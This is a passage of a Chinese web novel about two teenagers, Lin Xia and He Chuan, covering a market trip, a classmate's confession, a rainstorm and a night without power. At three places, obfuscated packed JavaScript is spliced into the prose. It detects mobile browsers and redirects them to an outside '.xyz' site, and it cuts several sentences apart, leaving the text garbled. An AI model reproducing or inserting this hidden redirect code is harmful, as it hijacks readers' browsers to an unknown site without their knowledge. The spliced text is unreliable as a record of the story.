林夏脸上发烫,一颗心咚咚直跳,但她仍然没有松手,咬了咬唇,鼓起勇气小声问: “那个,我可以这样么......” 搂啊,抱啊,这样的词是绝对开不了口的。 何川没有回头,但从背影能看出露出的双耳和脖颈也泛起了红晕。 他“嗯”了一下,低声说: “抓紧了就行。” 说着,他再次蹬起脚踏,车子向前驶去,就这样奔向阳光明媚的夏天里。 . 因为是半个月一次的大集,不仅附近的人们,许多住得远的下面村里的人家也来赶集。集上卖的东西很齐全,蔬菜水果,鸡鸭鱼肉,粮油米面,炸货熟食,还有锅碗瓢盆,衣服鞋子,扫把竹筐,旱烟叶,老鼠药......五花八门,人山人海,热闹极了。 林夏和何川在小摊前吃了大果子喝了豆腐脑,然后战斗力十足的开始在人群里穿行。林夏去过家附近的早市,可这么大规模的集市还是第一次见,眼花缭乱,看什么都新奇,一会儿相中朝鲜拌菜,一会儿又被刚出锅油炸糕的香味吸引,一会儿又被崩爆米花的巨响吓了一跳,何川生怕她跟丢,让她走在自己前面,他推着车跟在她后面,紧盯着不放。 何川很熟练的四处挑菜,讲价,货比三家,规划接下来一段时间一日三餐吃什么,居家过日子买菜煮饭其实没那么简单。 盛夏时节,水果蔬菜种类都很丰富,也很新鲜。家里的酱吃完了,于是何川买了一罐大酱,又从一个拿小筐摆摊的老奶奶那里买了些她摘的山野菜;林夏不爱吃豆大的黄金勾,于是他买了皮厚的油豆角,郝婶亲戚家杀笨猪,郝婶给他们拿来了小半扇排骨,和豆角土豆一起炖特别香;最近新苞米下来了,又甜又糯又嫩,何川找了一个看着不错的摊子,蹲下来仔细的挑选着。 “苞米你想煮着吃还是烤着吃?或者和豆角排骨一起炖?夏夏?夏夏?” 何川一扭头,发现本来该跟在自己身边的人不见了,他心中一跳,拣好的苞米也不要了,蹭的一下站了起来。 . 林夏其实也没走远,她只是在几步外的地方看热闹,临走时还和何川说了一声,但何川没听见,现在他们被人群隔开,彼此就这样错过了。 那是一个卖所谓“全自动擦玻璃器”的,在地上架起了一块大玻璃,有一个巴掌大小的机器嗡嗡作响的移动着,不知道用电池还是什么,周围全是泡沫,移动过的地方确实把玻璃清洗的很干净。有个人拿着喇叭滔滔不绝向周围的人介绍着,什么高科技,什么大减价,说得天花乱坠,很多人被吸引过去围观。 集市上总有这样的摊位,卖些稀奇古怪的东西,大部分是骗人的,质量堪忧,表演性质大于实用性,能忽悠一个算一个,大约和古代街头杂耍卖艺也差不多。 林夏看了一会儿觉得没意思,回到苞米摊子前,发现何川已经不见了。 “叔叔,你看见刚才在这里买苞米的那个男生了吗?”林夏急忙问卖苞米的大叔。 大叔嘴里叼着半截烟,正在用双手撑着袋子让客人装苞米,连头都没抬,很不耐烦地回答她: “走过路过这么多人,我哪儿知道。” 林夏没想到就这么一会儿功夫,两个人就走散了,心里生出慌张。 怎么办?是留在这里等着何川来找她?还是接着往前走去找何川? 正思考着呢,卖苞米的大叔冲她挥了挥手: “诶诶,别杵那儿挡道,我这儿还卖东西呢!” 他的语气特别凶,林夏被他呵斥了一番,有点害怕,只能离开了那里。 不如往回走吧,回到集市入口那里,反正也要从那个方向回家,总能遇见何川的。 打定了主意后,林夏逆着人流往回走去。 现在是上午10点多,正是集上人最多的时候,林夏在人群中被挤来挤去,还被踩了好几脚,她个子比较矮,努力抻长了脖子在寻找何川的身影,四周充斥着叫卖声,讲价声,噪杂极了。天气又热,又着急,又吵,林夏没一会儿就晕头转向,像中暑了一样,反胃,想吐。 她不得不来到旁边摊位后面,树荫下没有行人的地方,暂时喘口气,凉快一下。 她弯腰双手撑在膝盖上,正调整呼吸的时候,面前地上忽然出现了一个人影,她欣喜的抬头: “何川!” 但来人不是何川,是个不认识的男人,二十多岁,染着黄色头发,看着不太正经的样子。 “小妹妹,在找人啊?” 林夏皱了皱眉,很警惕的扭过头: “没有。” 黄毛却又绕到了她面前,嬉皮笑脸的说: “你要找谁啊?我带你去吧,这里多热啊,走我领去个凉快的地方待着。” 林夏又不是三岁小孩子,怎么可能和陌生人走,赶紧退后两步避开他: “我哪儿也不去。” 黄毛不依不饶的凑过来: “你别害怕,哥不是坏人,就想帮帮你。” “坏人难道把坏字都写在脸上吗?你别过来!” 林夏拼命向后躲着他,一不小心踩到了石头上,脚下一个趔趄,黄毛还想伸手扶她: “小妹妹小心着点!” 正在这时候,林夏忽然感觉到另一只手臂传来一股大力将她拽了过去,靠在了一个温热的胸膛上。 “别碰她!” 林夏抬头,只看见何川的侧脸,他的表情特别严肃,抿着双唇盯着前方的人,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后他伸出手,在她面前摊开了手掌。 林夏低头盯着他修长的五指,与细密的掌心纹,慢了半拍才反应过来。 他是要拉着她的手啊...... 牵手什么的,会不会太亲密了? 不对,应该是在自行车后座搂着他的腰更亲密一点吧? 不过那也是怕再摔车想要坐稳一些而已。 那现在呢?也不过是为了怕她在人群中再被挤丢把吧? 嗯,这都是,事出有因,合情合理的。 林夏红着脸,缓缓把自己的手放在了他的手心,轻声回答着: “好......” 两个人潮湿的手掌叠在了一起,何川收拢指尖,轻轻包裹住她的小手,感觉自己的脸也有些发热,他清了清嗓子,问道: “还想吃什么?我给你买。” “桃子!” 林夏抬头,甜甜一笑,露出一颗小虎牙, “刚才路过卖桃子的地方,看见毛桃又大又红,我想吃!” 何川失笑:“好,我们去买。” 于是两个人向卖桃子的摊位走去,人潮汹涌,但他们的手始终牵在一起,再也不怕走散了。 林夏还奇怪何川的自行车去了哪里,原来何川为了找她,把买的菜和车子都暂时放在了卖野菜的老奶奶那里,拜托她帮忙看着。两个人把整条集市走完,转了一大圈,这才回到老奶奶那里,好好对她道了谢。 何川给老奶奶买了一兜桃子,老奶奶推辞了很久才勉强收下,她笑得合不拢嘴,一个劲儿夸这对儿兄妹懂事。 回去的路上,林夏坐在自行车后座上,一手紧紧搂住少年清瘦的腰身,一手拿着一颗被老奶奶帮她洗干净的桃子在啃。 桃子不是她喜欢的软桃,而是脆桃,有点硬,但很甜,她从来没有吃过这么甜的桃子。 身侧有温柔的热风吹过,空气中飘散着大波斯菊的花香,林夏仰头,望着蔚蓝的天空与肥厚的白云,阳光照耀在脸颊,她忍不住闭上了眼,用皮肤触觉去感受这晴朗夏日的明媚与灿烂。 此时此刻,她似乎完全忘记了自己一开始有多么不情愿来到小林场,多么想回家。 少女在这一刹那许下心愿,祈祷这个夏天能够长一点,再长一点。 12. 波斯菊(11) 嘟——嘟——嘟—— “你好,哪位?” “阿姨我是林夏,瑞瑞在家吗?” “夏夏啊,瑞瑞在家,你等着我让她接电话。” 等待了片刻后,听筒那边传来了张瑞楠兴奋的声音: “夏夏,你怎么才给我打电话啊?!” 张瑞楠是林夏的前桌,是她整个初中最好的朋友。 林夏被她的声音感染,也很兴奋: “我怕你没回家啊,你不是出门玩了?” “我早回来了,给你家打电话一直没人接。” “啊,我忘告诉你了,我放假就来我爷爷家住了。” 没有手机的学生时代,一放假就约等于和朋友失联,能不能找到全凭缘分。 “怎么样?出去玩啊?姜玉华、王政宇他们催我好几遍了,我说不能把夏夏落下啊!这回终于联系上你了,明天你有没有时间?” “好啊!” “行,明早9点,望春公园门口,不见不散!” “不见不散!” 放下电话后,林夏就像小孩子和父母报备一样,很开心的对何川说: “明天我要去市区和同学玩!” 何川点了点头:“好,那我明天送你去,正好我去问问签证办没办完。” 林夏一愣:“已经一个月了吗?” 赴港读书的签证办理很繁琐,当初拿到通知书的时候,何川就算过,各种手续下来需要差不多一个月的时间,那时候本来以为一切还都很漫长很遥远,没想到这么快要到了。 虽然林夏的暑假还没结束,但是何川开学的已经近在眼前了。 “上次去的时候他们告诉我需要7天左右,差不多就这两天吧。” “可是爷爷他们还没回来?到时候你要怎么去学校呢?” “我自己去就可以了。” 林夏很担心:“可那是香港啊,很远欸,你自己一个人行吗?是不是要坐飞机?在哪里买飞机票啊?” “我也没坐过飞机。”何川想了想,“我明天去问问谭之舟,他之前出过远门。” “那我明天也帮你问问我同学,她刚去过三亚。”林夏顿了顿,有些羡慕的说,“真好啊,我也想坐飞机,我也想去香港,要是我能送你去学校就好了。” 何川失笑:“我们两个谁送谁啊?” “也是。” 林夏不好意思的笑了笑,然后她说,“那等我再大一大吧,等我长大了之后,一定要去香港玩,到时候你要领我去好玩的地方,吃好多美食!” “好,”何川笑着答应了她,“一言为定。” . 望春山是望春市中心一座海拔只有几百米的小山包,围绕这座山建了一个公园,也叫望春公园,是市内为数不多的自然公园之一,最近几年翻新了一遍,建了一些健身器材和公共设施,每天都有源源不绝的人在山前广场上聚集,广场上“望春公园”四个字,还是林海生题的。 早上9点,何川准时把林夏送到了公园门口,嘱咐她: “注意安全。” 林夏跳下车:“知道了,我们不一定玩到什么时候,结束后我自己坐线车回去。” “没关系,我去谭之舟家一趟,5点以后在新华书店门口等你。” “好吧。” 林夏点点头,正要走又被何川叫住了。 “等等,这个给你。” 他从兜里掏出五十元钱给递给她。 林夏有点惊讶:“我这里有钱,够花。” 何川笑了笑: “拿着吧,这是你的钱,你忘了?” 她“寄存”在他那里的钱,本来不还是他的钱嘛! 而且这段时间他已经给她花了很多钱了,他也只是个学生,就算何萍给他留下了生活费,又能有多少。 林夏不想要,但何川坚持,她没办法,只能很不好意思的收了下来,小声说: “谢谢。” 何川没再多说什么,只留下了一句“别玩太晚了”,就骑上自行车离开了。 其他同学早就已经到了,正在门口等着林夏,自然都看见了这一幕,所以等林夏送走何川走过来的时候,不少人八卦的问: “林夏,那个男生是谁啊?” “诶呦喂,这才一个月不见,你怎么就找到对象了?”有人调侃。 她同桌王政宇还帮她打抱不平:“别瞎说。” 张瑞楠一把搂住林夏的脖子,状若威胁: “小夏夏,老实交代,那个大帅哥是谁?” 是啊,他是她的谁呢?他们之间的关系该如何定义呢? 只要一踏入外面的世界,遇见第三人,他们就必须解释这个问题。 很麻烦,很讨厌,林夏不想解释。 为什么一定要给他们的关系下一个定义? 如果他们能一直留在小林场,不被外人打扰,只有他们两个过日子就好了。 此时面对张瑞楠的问题,林夏只能含糊回答: “是家里的亲戚。” 张瑞楠恍然大悟:“哦,是你表哥吧?我记得你有个上大学的表哥来着。” “嗯嗯,别说我了,瑞瑞你怎么晒得这么黑?” 张瑞楠嗷的一声惨叫:“不许说我黑!你已经是第一百个这么说我的了!再说了,黑怎么了?那是健康的肤色!” 她后桌姜玉华开玩笑:“人家小麦色是健康,你那都晒成黑炭了张青天!” 张瑞楠气得不行:“知道我是青天大老爷还敢嘲笑我?左右护法呢?本官要升堂升堂!” 这个话题嘻嘻哈哈也就这么过去了。 每个小团体总有那么一两个人酷爱迟到,林夏不是最晚到的,又等了一会儿,等人都到齐了之后,大家开始爬山。 这一伙大概有八九个人,在班级平常的座位彼此相连,是玩得比较好的朋友。张瑞楠和林夏是前后桌,她个子不高,有些大大咧咧假小子,性格很开朗很外向,算是这个小团体里的核心人物。林夏一直学美术,经常请假不上课,学习不好不坏,又比较不合群,如果不是被张瑞楠拉着,是不会和这么多人一起玩的。 今天是个阴天,天公作美,户外爬山也不晒。 望春山比较矮,公园也比较小,望春市的小孩子们从小到大不知道要来这里来多少次,所以也没什么可玩的,只能说是一种奇怪的仪式感。他们很快爬上了山,又下了山,绕着盘山道走完了一圈,然后转移了阵地。 年初的时候,市里开了第一家综合性现代化商场,很快成为年轻人逛街的最佳选择。商场里面有电影院,连锁服装品牌,美食广场,大型超市,还入驻了一家正牌肯德基,之所以说是正牌,是因为在此之前小城里开过好几家模仿快餐店大牌的山寨店,这一次终于有真的了。 林夏没去过,但她听去过的张瑞楠说,里面东西卖得特别贵,一个小小的汉堡就要十几块钱,完全比不上学校对面的小店实惠。话是这样说,但是谁又不对那些宣传册上那些眼花缭乱的炸鸡薯条好奇呢?吃了这么多年山寨货,也该尝一尝正宗的了吧! 这回趁着人多,大家你凑点我凑点,一群人大着胆子进了店门。 许多年以后,物价上涨,通货膨胀,十几块钱一顿饭已经算非常便宜了,林夏从北到南,去到了全国最发达最繁华的城市,当肯德基麦当劳已经成为最敷衍的一顿工作餐的时候,她时常会想起这一天第一次和同学走进肯德基的场景。点了什么汉堡,薯条什么味道,林夏已经记不太清了,只记得快餐店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627091|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窗户擦得特别明亮,店里放着耳熟能详的流行歌,桌子上摆了好多他们厚着脸皮要来的袋装番茄酱,十几岁的少男少女,最是张扬吵闹的年纪,还没有对贫穷与闭塞的概念,也没有对未来与前途的担忧与焦虑,他们笑着,闹着,走过了无忧无虑的青春。 吃完饭后,又去冷饮店吃了冷饮,然后去KTV唱歌,小城里适合学生的娱乐活动也就这么多了。 现在是暑假期间,步行街附近的KTV打折优惠,白天包厢特别便宜,他们唱了整整一个下午,鬼哭狼嚎,直到最后一分时长用尽,被服务员催促,这才依依不舍的出了门。 KTV门口,张瑞楠兴致不减,哑着嗓子张罗大家去吃烧烤。中考结束以后,他们这些人有的考上了实验,有的考上了逸夫,有的去了普高,还有一个要去隔壁市读书,虽然离得都不远,随时能见面,但再想聚齐恐怕是不可能了。 林夏抬手一看表,已经5点了,尽管她也很想和他们去,可是不能让何川多等,于是就跟张瑞楠说家长不让她玩得太晚,她该回家了。 天大地大,家长最大,张瑞楠虽然依依不舍,但也只能和她说拜拜。 王政宇突然说:“我也得回去了,林夏我跟你一起走。” 张瑞楠佯怒:“王政宇你怎么也逃跑?” 有人拉了她一把,笑嘻嘻说:“瑞楠那你就让他和林夏走吧......” 然后两个人头凑在一起嘀咕了什么,大家都露出意味深长的微笑,好像有什么心照不宣一样。 林夏很莫名其妙,直到被表情不自然的王政宇招呼了一声,这才跟大家道别离开。 林夏要去新华书店,而王政宇的家也在那附近,目的地离KTV并不远,于是两个人一起走着过去。 一前一后,一左一右,中间差了半步,不算陌生也不算熟悉的距离。有一搭没一搭聊着老师,聊着同学,聊着刚才的聚会,不至于尴尬,也没多亲密。 两个人虽然是同桌,但至今只坐在一起一年,而且最开始的时候,两个人的关系相当恶劣,王政宇不知道为什么总是和林夏作对,画三八线啊,起外号啊,揪辫子绑鞋带啊,这都是家常便饭,林夏看着乖巧,可受不了委屈,次次都反击,直接上手,两个人经常课上着上着就吵起来了,齐齐被罚站。 张瑞楠和王政宇是小学同学,关系比较好,她给他们从中调停,左右说和,后来也不记得是谁先服软的,两个人就莫名其妙握手言和了,然后慢慢的开始聊天了,开始互相抄作业了,开始假期和张瑞楠一起出去玩了,也算是不打不相识吧。 没走多久,就到了新华书店,但是何川还没来,林夏就打算站在门口等待,王政宇说要陪她一会儿,也跟她站在一起。 “林夏,你上实验了吧?”王政宇问。 “嗯,刚才说了呀。你去逸夫了?” “是啊,我家离逸夫近,我爸妈让我上逸夫,其实我也想上实验的。” 林夏有点疑惑:“有什么区别吗?” 这两所都是市重点高中,教学质量差不多啊。 “因为咱班同学大部分都上实验了呗,你也上实验了。” “这倒是。” 林夏点了点头,她看王政宇一副抓耳挠腮,手足无措的样子,忍不住问: “你是不是有什么事要跟我说?” “是、是有个事儿......” 王政宇不知道为什么憋的脸上通红,看天看地就是不敢看她,磨蹭半天,最后终于下定决心,破釜沉舟一样,咬牙切齿说: “林夏,其实,我喜欢你!” 林夏一时没反应过来他在说什么,等反应过来之后不免一脸震惊,张了张嘴,只发出来一个简单的音节: “......啊?” 13. 波斯菊(12) 何川急急忙忙来到新华书店的时候,只见林夏一个人板着张脸站在门口,看起来比阴沉的天气还阴沉,他还以为是自己迟到导致她生气了,急忙道歉: “对不起我来晚了,谭之舟拉着我讲他在论坛上和人吵架的事,你等多长时间了?” 林夏摇了摇头,看起来特别没精打采: “没等多长时间。” “发生什么了?和同学闹别扭了?” “没有,没什么。” 林夏坐上车后座,熟门熟路的伸手抱住了何川的腰,闷声说: “回家吧。” 她不想说,何川也不多问,两个人骑着自行车,沉默着往家走去。 林夏本来不好意思说,可是何川不问了,她反倒憋在心里难受,其实她特别需要一个倾诉对象,忍了半天,她终于还是忍不住自己主动开了口: “刚才,有个男生跟我表白了。” 何川一愣,有些诧异: “那你为什么看起来很不开心?不喜欢那个男生吗?” “我为什么要喜欢他啊?!”林夏有点激动的反驳,声音稍微提高了一点,“本来觉得当朋友还不错,现在简直是讨厌了!” 何川皱眉:“他对你做什么了?他欺负你了?” 林夏没太听明白他的意思,茫然的回答:“你说今天吗?今天他没欺负我,但是以前欺负过我,不过我也欺负过他。” 她把两个人的关系大概和何川讲了一遍。 “所以,他突然这样,我根本没预料到,这简直比小行星撞地球概率还小的事!” 当时林夏整个人都懵了,然后王政宇一直等着她回答,她不知道他想让她回答什么,也不知道自己能回答什么,呆滞了半天,她反问了一句,为什么? 这一句给王政宇也问懵了,他挠了挠头,支支吾吾说,他也不知道,就是一种感觉。 林夏不气馁,又问,什么时候开始的? 和你刚当同桌不久吧。 那你为什么要和我作对?给我起外号,还在我校服上乱画? 我、我我想引起你的注意...... 听到这个答案的时候,林夏觉得自己跟被雷轰过一样,外焦里嫩的。 她一字一顿跟何川吐槽: “我一直以为,像那种欺负喜欢的女孩子啊,靠捉弄人来吸引注意啊,这是最狗血,最俗套,最脑残的偶像剧、言情小说的情节,没想到现实中真的有,还偏偏让我遇到了!我们有十六岁了十六岁!初中都毕业了,怎么还能干出这种幼儿园小朋友都干不出来的幼稚事儿呢?为什么他还理直气壮的来跟我说喜欢?难道他觉得我会喜欢欺负我捉弄我把我气哭的人吗?他的脑回路是怎么长的?进水了吗?缺氧了吗?被门挤了吗?没进化完全吗?” 何川被她一连串的形容逗乐了。 林夏更生气了:“你笑什么?笑我还是笑他?” “他,是笑他。”何川语气严肃的澄清,“然后呢?你怎么回答他的?把这些话都说给他了吗?” 说到这里,林夏不禁有点泄气: “没有。” 这些都是王政宇走了之后她想到的,她是那种平常和亲近的朋友父母有说不完的话,但一到关键时刻和人争论或者吵架就熄火的人,完全发挥不出来。 “我当时脑子一片空白,就说,说,我们现在这个阶段还是应该好好学习......” 这说得是什么啊?冠冕堂皇得跟早恋训导词一样,他们班主任要是知道了非得流下感动的泪水不可,林夏现在回想起来这句话简直恨不得挖个坑把自己埋了。 好在这个年纪的少年脸皮实在是薄,胆子也实在是小,说一句喜欢就已经用尽所有勇气了,她紧张他也紧张,听林夏这么一回答,王政宇胡乱点点头,连一句多余的话都没说出来就转身跑了。 何川这回没忍住,噗嗤一声笑了出来。 林夏又气又窘:“你笑什么?我回答得可笑吗?我也是第一次经历这种场面啊,发挥不好很正常。” 她长得漂亮,学艺术的,性格又有点傲气,正是学生时代会受男生喜欢的那种女生,赵倩怡一直以来都严防死守,怕她早恋。从小到大,确实有一些男生暗戳戳的喜欢她,追求她,但无非是什么送点小礼物,被同学起起哄而已,林夏自己没什么感觉,也并不喜欢那些幼稚无聊的男生,不搭理的话,时间久了也就没下文了。 但被人当面表白,直接说喜欢这还是第一次。 “难道说你已经见怪不怪了?” “没有,我也没经历过这种。” “我不信,你长得好,学习又好,一定有很多女孩子跟你表白。” 林夏的声音渐渐低沉了下去,心里有些不舒服。 何川失笑:“我小学初中是老家那边念的,班上的同学都很单纯,没人想这些,不像现在的小孩子。” “说得好像你多老一样,你也不过比我大三岁而已。”林夏轻哼了一声,不甘心的追问,“那高中呢?高中总有吧。” “高中大家只想着学习。” “一个也没有吗?没人喜欢过你,你也......没喜欢过别人么?” “真没有,”何川的语气有些无奈,“因为我也只想着学习,其他的一切都不在考虑范围内。” 也就是说,他没喜欢过别人,就算别人喜欢过他,他也不在意? 林夏的心情突然愉悦了起来,嘴角无意识的上翘着,今天这场突发事件带来的糟心似乎在一瞬间都烟消云散了。 “那你们的高中生活还真是枯燥呢......” 她得了便宜卖乖的说。 . 阴沉沉的天空轰隆隆一阵打雷声响起。 在林夏和何川马上就快要到家的时候,酝酿了一整天的雨终于落了下来。 两个人谁都没带伞,幸好路边有个堆放木材的仓房,两个人可以在屋檐下暂时避雨。雨下得很大很急,就从十几米外跑过来的一小会儿,他们的衣服几乎都湿了。 路上有泥有水,林夏发现自己脚上穿的小白鞋不仅鞋边已经脏了,鞋面上也有泥点子,连忙从包里拿出面巾纸,蹲下来仔细的擦鞋。 下雨真讨厌啊,尤其是这种城市以外没铺水泥的路面,根本不适合出门。 林夏擦鞋的时候,余光瞥见一旁的房檐下似乎有什么在动,本来天就快黑了,下雨又多云,光线特别暗,林夏有些看不清,眯眼仔细瞧了一会儿,刹那间,她只觉得浑身汗毛都立起来了。 “啊啊啊啊——” 何川正拧着衣服下摆的水,突然听见一阵尖叫,然后一股大力撞进了他的怀里,重击之下,他向后退了两步,差点摔倒。 “怎么了?” “有、有老鼠啊!” 林夏从小是在市区楼房里长大的,除了学校里倒垃圾时见过,从没和这种生物近距离接触过,她最怕的就是老鼠了,连看都不敢多看一眼。 “在哪里?”何川问。 林夏把脸死死埋在他的胸前,颤抖着伸手向后面指去, “那里,那个、那个窗户旁边......” 何川努力瞧了半天也没瞧出所以,估计是她一声尖叫把老鼠也吓走了。 他轻轻拍了怕她的后背,安抚道: “别害怕,老鼠跑了。” “真的吗?” “真的。” “你确定?” “确定。” 何川心想还是不要告诉她家里也偶尔会进老鼠的事情了,毕竟是山林间的平房,打扫得再干净也不能避免,但这时候要是告诉她了,恐怕她连家也不想回了。 得到何川的再三保证后,林夏这才战战兢兢的扭头看了一眼,确定没什么东西在动之后,这才勉强松了半口气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627092|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是危险还没解除,它们随时可能卷土重来,这个废弃的仓房说不定已经是它们的大本营了! 她转过头,本来想说,不如他们还是冒雨跑回家吧反正也没多远了,然而下一秒,要出口的话却戛然而止。 她突然发现,她和他的距离特别近,身子几乎贴在了一起,他裤子的布料与她光裸的小腿若有若无的触碰着,凉凉的,他的手臂揽在她的肩膀,她的双手还抓着他的T恤,他比她高了差不多一个头,他垂眸,她仰首,几乎能清晰的在对方瞳孔中看见自己。 雨幕隔绝了一切,世界小到仿佛只有檐下这片方寸之间,只有他和她,呼吸相闻,心跳同频。 他们维持着这个姿势,谁也没有再向前一分,也许只有短短的几秒,也许过了好几万年,人类文明毁灭又重生好几个轮回,她与他如从梦中惊醒一般,同时向后退开了。 林夏咬了咬唇,刚想开口,却见面前的何川突然开始脱衣服,她还来不及惊讶,就被一股温热而熟悉的气息包裹住了。 “别着凉了。” 他把自己的运动衫上衣披在了她的肩头,然后移开了目光不再看她。 林夏有些奇怪,低头一瞅,这才发现,自己穿的雪纺裙子被雨水一淋,几乎完全贴合在了身上,透出里面的肌肤,连小背心的形状都若隐若现...... 她只觉脑袋里轰的一声,整张脸彻底红了起来。 两个人并排站在檐下,隔着一步之遥的距离,一个看天,一个看地,谁也没再说话。 天色阴沉昏暗,远山近林的轮廓模糊不清,四下寂静无人,只有唰唰的落雨声络绎不绝,响得恼人,燥热的气氛无声的蔓延着。 林夏紧了紧披在身上的衣服,一颗心咚咚跳个不停。 要说点什么啊,一定要说点什么啊,再这样下去气氛会越来越尴尬的。 可是说什么呀? 平常他们总有聊不完的话题,但此时此刻她的头脑一片空白,什么都想不起来了。 拉锁在手指上拧出麻花,留下了深深的印痕,她终于鼓起勇气开口。 可与此同时,身边也传来了一把低沉的嗓音。 “你——” “我——” 两人不约而同出声,又不约而同顿住了,然后他们再次开口: “我——” “你——” 他转头,她抬眼,四目相对,然后他们不禁都笑了。 所有的尴尬与躁动似乎都烟消云散了,一切似乎恢复到了往日轻松自然的氛围。 何川轻声说:“你先说,你想说什么?” “我想说......你有没有听说过一句话,叫‘中秋有雨冬至晴’。” 何川一时没听懂是哪几个字,摇了摇头:“没有,是什么意思?” “是一句民间谚语,我爸爸告诉我的,好像是东北这边流传的。说一年中,如果中秋那天下雨的话,冬至那天就一定会是晴天。” 何川想了想:“和耕作有关吗?” “也许吧,我也不太清楚,只是老话这样说了。我爸爸还说,这是他小时候奶奶告诉他的,他很好奇,总想试验一下真假,可惜要么中秋不下雨,要么中秋下雨的时候,到了冬至那天他却忘了,一直没能做到。” “怎么突然想起这个了?” “我也不知道,只是看见下雨,就突然想起来了。可能因为爸爸告诉过我后,我一直在心里惦记着,但也总像爸爸一样忘记了。” 林夏有点不好意思, “刚才你想说什么?” 何川笑了笑:“我想说,雨可能一时半刻停不了,不如趁天还没黑,等雨小一点的时候,我们跑回去吧。” “好啊,我也这么想来着,”林夏大力点头,愉快的答应着,“我们跑回去吧!” 她知道,他的心情一定和她是一样的,她就是知道。 14. 波斯菊(13) 何川让林夏披着自己的运动衫跑在前面,他推着车子跟在后面,趁着雨小的间隙,两个人及时赶回了家。 没想到家里停电了。 小县城电力供应不稳定,雨雪天停电是常有的事,尤其是郊区平房。天已经黑了,电业局也下班了,检修不知道要等到什么时候,看来今天都不会来电了。 何川翻箱倒柜找出一把手电筒,可惜没有电池,又找出蜡烛和火柴,点燃之后,微弱的烛光勉强照亮了房间。 他们擦干头发,换了衣服,何川下了过水面条,打了鸡蛋卤,又把昨天的剩菜简单热了一下,两个人都饿了,吃得风卷残云,狼吞虎咽。 外面大雨不停,屋里有些凉,林夏裹着毯子,和何川窝在客厅沙发上,有一搭没一搭的聊天。 停电的夜晚总是无聊的,人类失去了电,似乎一下子回到了原始社会,不能看电视,不能玩电脑,不能看书看报,失去了一切娱乐活动,只能闭上眼睛睡觉。 墙上的时钟转到八点,正是平常最精神的时候,何川却说: “去睡吧,我送你回房间。” 林夏一下子拉住他:“你把蜡烛给我留下来!” “这个烛台不稳,我怕你不小心失火。” “那你再陪我坐一会儿吧,我还不困。” 何川看穿了她的心思,有些好笑:“怎么又害怕了?平常不也是要关了灯睡的么?怕打雷?” “我不怕打雷,我只是又想起那本书了。” “哪本书?” “《地球三万年》啊,”林夏很苦恼的说,“我本来都已经忘得差不多了,没想到今天和同学聊天,发现大家都看过差不多的东西,世界未解之谜什么的,聊着聊着,之前看的内容我就都想起来了。” 往后如果要盘点她的童年阴影,这本书当仁不让要占一席之地。 何川试图解开她的心结:“你害怕的具体是什么?” “嗯......就是未知吧,不是说人们总是对未知恐惧嘛。” “比如呢?” “比如......外星人事件?” “很多都能证实是假的。” “可是真的有尸体,有遗骸!” “是合成拼凑的,电视报道过。” “是吗?”林夏将信将疑,“那麦田怪圈呢?” “洒水机周围一圈的麦子长得比较高大茂密而已。” “天池水怪呢?有人拍到了,黑色的,游得很快,后面还拖着喇叭型的尾巴。” “那是朝鲜的快艇过界了。” “百慕大三角呢?” 何川一时语塞,没回答上来。 “水晶头骨呢?” “......” “这回你终于不知道了吧!” 何川有点无奈,他确实常看新闻,常看科教节目,但他也只不过是个没走出过小城市的十九岁少年罢了。 林夏有点扳回一局的感觉,他什么都知道,显得她好像很无知一样。但得意过后,又有点后悔,她还是宁愿他什么都知道,能给她解答疑问比较好。 她轻声问:“你说,2012年的时候,是不是真的会世界毁灭?玛雅人的预言是真的吗?” “我也不知道,”何川摇了摇头,“不过很早以前还谣传1999年是世界末日,很多人坚信二十世纪的最后一天地球会毁灭,可最后还是什么也没有发生,全世界平安的迎来了千禧年。” 1999年啊,林夏算了一下,那时候她才刚刚上小学,年底的最后一天她在干什么?好像因为第二天是元旦放假,她在为了第二天要上舞蹈班而哭鼻子。她四肢比较僵硬,跳舞不协调,压腿特别疼,每次都因为要去舞蹈班而哭闹好久,幸好后来赵倩怡看她实在没天赋就放弃了。 “你呢?传说中世界末日的那一天,你在干什么?”林夏问。 “那一天......那一天,是很平常的一天,我一个人在家,我父亲出去喝酒了,我以为他晚上不会回来了......没想到后来他还是回来了。” 他的父亲,应该也就是何萍已经去世的前夫,这是林夏第一次从何川口中听到这个身份。 其实林夏一直对他一切的过往很好奇,但是根本没办法张口问,何川对此也从来不提,毕竟那只会让这个家里本就尴尬的处境与关系变得更尴尬。今夜或许是黑暗给了人胆量,又或许是雨声让人放松了警惕,昏黄的烛光下,他们看不清彼此的表情,有些话反而轻松的问出了口。 “你之前,是一直跟在你爸爸身边的吗?” “嗯。” “你妈妈呢?” 何川语气平淡的说:“她在我很小的时候就走了,去了外地打工,不知道哪里。后来我父亲去世,我住在大伯家,又过了几年,她回来把我接走了,然后我就来到了望春。” “那时候,你想你妈妈吗?” “起初,是想的,后来,渐渐没那么想了。因为一直这样下去,只会让自己痛苦。” 他说完之后,两个人都沉默了,一时间客厅里只剩外面雨滴打落在房檐和玻璃上,噼里啪啦的声音。 “为什么突然问这个?” 林夏仰头倚在沙发的靠背上,用轻得不能再轻的声音说: 